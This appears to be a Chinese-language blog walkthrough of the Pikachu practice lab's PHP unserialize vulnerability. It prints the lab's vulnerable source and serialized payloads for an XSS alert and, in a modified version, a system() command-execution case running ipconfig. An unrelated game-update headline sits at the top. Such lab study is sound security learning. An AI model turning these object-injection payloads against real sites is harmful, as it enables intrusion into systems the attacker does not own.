《GTA:三部曲-終極版》首個更新上線 修復超50個問題
阿新 • • 發佈:2021-11-21
之前有篇文章詳細介紹了php反序列化的原理,這裡就不再多說
做一下這個靶場練練手
0x01 原始碼審計
目前我的理解是挖掘反序列化就需要知道該介面的類、物件、引數這些的詳情,
以及魔術方法的情況。
這裡的呼叫比較簡單,看看原始碼
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "unser.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); }$PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,來點勁爆點兒的!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?>
鏈子呼叫分析
這裡的是S類,裡面只有1個$test變數,魔術方法是__construct,這個方法是用於
在建立物件時候初始化物件,一般用於對變數賦初值的。
然後再看判斷,簡單來說就是我們傳入成功的反序列化字串s,就會執行到else裡面對其進行列印輸出。
if(!@$unser = unserialize($s)) 這個if語句我糾結了半天,沒懂。
後來在大哥解釋下 意思是把反序列化的結果1賦值給$unser,如果反序列化成功那麼就是有值的也就會進入else,否則進入if下面語句 攻擊失敗!!
ps:at符號(@)在PHP中用作錯誤控制操作符。當表示式附加@符號時,將忽略該表示式可能生成的錯誤訊息。
0x02 構造鏈子
那麼我們只需要構造正確的序列化字串就行了:
<?php class S{ var $test = "pikachu"; } $f = new S(); $payload = "<script>alert(1)</script>"; $f->test=$payload; echo serialize($f); ?>
根據原始碼的S類建立一個物件$f,用該物件去呼叫類裡面的$test,重寫成我們的payload
然後序列化輸出
得到序列化結果 我們注入,成功彈窗
payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
0x03 總結再思考
前面已經說過這裡是通過else後的語句觸發漏洞的,如果這裡魔術方法是__wakeup,也就是在unserialize後自動呼叫的方法裡面寫到
function __wakeup(){ system($this->test); }
這裡只是想模擬一下能命令執行的反序列化場景
這樣就能在我們執行到if判斷中執行unserialize時候觸發,就會回撥__wakeup,執行裡面的sysytem函式
那麼我們構造的程式碼應該是:
<?php class S{ var $test = "pikachu"; } $f = new S(); $payload = "ipconfig"; $f->test=$payload; echo serialize($f); ?>
序列化後的結果:
O:1:"S":1:{s:4:"test";s:8:"ipconfig";}
此時修改過後的php靶場被注入就命令執行了:
學到了一點點,還是不能著急, 安全之路 少就是多,慢就是快~~